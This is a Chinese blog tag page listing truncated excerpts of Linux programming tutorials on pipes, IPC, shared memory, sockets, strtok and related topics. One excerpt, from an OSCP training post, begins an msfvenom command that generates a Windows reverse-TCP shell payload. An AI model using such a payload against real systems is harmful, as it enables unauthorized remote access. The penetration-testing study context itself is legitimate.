标签 buf 下的文章

  • 📂【linux进程间通信】2.管道教程

    一、何为管道管道也称无名管道,是一种特殊类型的文件,在应用层体现为两个打开的文件描述符无名管道是创建在内核空间的,多个进程知道同一个无名管道的空间,就可以利用它进行通信无名管道会给当前进程两个文件描述符,一个用来读操作,一个用来写操作管道的特点:半双工,数据在同一时刻只能在一个方向上流动。数据只能从管道的一端写入,从另一端读出。写入管道中的数据遵循先入先出的规则。管道所传送的数据是无格式的,...

  • 📂Linux驱动V4L2摄像头教程

    一、内容简介没玩过摄像头,做项目需要在网上找了好长时间没有很合适的,经过自己修改最终实现了摄像头传视频!其实传视频的原理就是一帧一帧的传图片,所以需要获取图片的内容信息和内容长度的信息。再此设置了两个接口,定义了两个变量供主函数调用。二、camera.c#include "camera.h" typedef struct VideoBuffer { void ...

  • 📂Linux popen()执行shell命令教程

    函数原型#include <stdio.h> FILE * popen(const char *command , const char *type ); int pclose(FILE *stream); popen 通过type是r还是w确定command的输入/输出方向,r和w是相对command的管道而言的。 r表示command从管道中读入,w表示 command...

  • 📂OSCP Security Technology - Modifying Shellcode教程

    OSCP Security Technology - Modifying Shellcode ===================================================================Generate a shellcode with msfvenom:msfvenom -p windows/shell_reverse_tcp LHOST=192...

  • 📂Linux C strtok实现自定义字符串切分函数split教程

    -1. 问题:Linux C如何切分字符串?java的String类有split方法,可以将字符串对象按指定字符串进行切分,返回一个数组String[],包含切分后的所有字符串。 Linux C如何对字符串进行切分呢?有没有类似函数/系统调用? 答:Linux C没有字符串类,也没有split函数,不过有切分字符串的方法:strtok函数。-2.strtok函数提取分隔符间字串。strok...

  • 📂linux pread/pwrite教程

    pread/pread操作是原子性的,seek和read/write操作一起完成,适合用于多线程中。<pre class="has">``` mapan@mapan-virtual-machine:~/c++$ cat test.txt hello world demo<pre class="has">``` #include...

  • 📂Linux中的高级IO(非阻塞IO与阻塞式IO,多路IO复用,异步IO)教程

    1.非阻塞IO与阻塞式IO(1) 非阻塞式IO和阻塞式IO的区别:非阻塞式IO是用户发出IO请求后不进行等待,直接获得一个结果,通常使用时用O\_NONBLOCK配合fcntl来完成。阻塞式IO是当用户线程发出IO请求之后,内核会去查看资源是否就绪,如果没有就绪就会等待数据就绪,而用户线程就会处于阻塞状态,用户线程交出CPU,常见的阻塞有wait、pause、sleep等函数,read或wr...

  • 📂【转载】宋宝华:世上最好的共享内存(Linux共享内存最透彻的一篇)教程

    [原文地址](https://blog.csdn.net/21cnbao/article/details/103470878)共享单车、共享充电宝、共享雨伞,世间的共享有千万种,而我独爱共享内存。早期的共享内存,着重于强调把同一片内存,map到多个进程的虚拟地址空间(在相应进程找到一个VMA区域),以便于CPU可以在各个进程访问到这片内存。现阶段广泛应用于多媒体、Graphics领域的共享内...

  • 📂Linux系统编程-进程间通讯教程

    基本概念Linux环境下,进程地址空间相互独立,每个进程都有不同的用户地址空间,一个进程的全局变量在另一个中是看不到的,要交换数据必须通过内核,在内核中开辟一块缓冲区,一个进程写,另一个读,这种机制就是进程间通信常用的进程间的通讯方式有以下几种:管道 (使用最简单)信号 (开销最小)共享映射区 (无血缘关系)本地套接字 (最稳定)管道Pipe创建管道pipe函数函数作用: 创建一个管道函数原...

  • 📂Linux——多播(组播)教程

    文章目录多播(组播)组播建立过程组播结构图代码serverclient多播(组播) 组播组可以是永久的也可以是临时的。组播组地址中,有一部分由官方分配的,称为永久组播组。永久组播组保持不变的是它的ip地址,组中的成员构成可以发生变化。永久组播组中成员的数量都可以是任意的,甚至可以为零。那些没有保留下来供永久组播组使用的ip组播地址,可以被临时组播组利用。224.0.0.0~224.0.0...

  • 📂Linux IO多路转接——UDP通信教程

    文章目录UDP服务器C/S模型-UDPUDP通信流程tcp与udp区别代码serverclientUDP服务器 传输层主要应用的协议模型有两种,一种是TCP协议,另外一种则是UDP协议。TCP协议在网络通信中占主导地位,绝大多数的网络通信借助TCP协议完成数据传输。但UDP也是网络通信中不可或缺的重要通信手段。相较于TCP而言,UDP通信的形式更像是发短信。不需要在数据传输之前建立、维护...

  • 📂Linux——多进程服务器与客户端并发通信教程

    文章目录运用知识代码示例服务器客户端运用知识 套接字相关函数socket()、bind()、listen()、connect()、accept()、recv()、send()、select()、close() https://blog.csdn.net/weixin\_45525272/article/details/107732407 atoi atoi (表示 ascii t...

  • 📂Linux ls 命令提示 Input/output error教程

    一.问题描述某一台跑批服务器硬盘无法正常读写,提示input/output error,服务器每天均需使用,询问情况后发现服务器首先为硬盘故障,更换硬盘后提示此错误(RAID已正常同步) 二.排查问题出现问题,先查看日志,收集日志进行分析查看,日志分析结果如下:[12922471.544897] smartpqi 0000:5e:00.0: reset of scsi 14:1:0:3: ...

  • 📂Linux应用编程实现简单队列功能-改进教程

    queue.h #ifndef __QUEUE_H__ #define __QUEUE_H__ #include <pthread.h> #include <iostream> #include <Windows.h> using namespace std; //线程1 DWORD WINAPI Fun1Proc(LPVOID lpParameter); //线程2 DWORD WINAPI Fun2Proc(LPVOID lpParameter); ...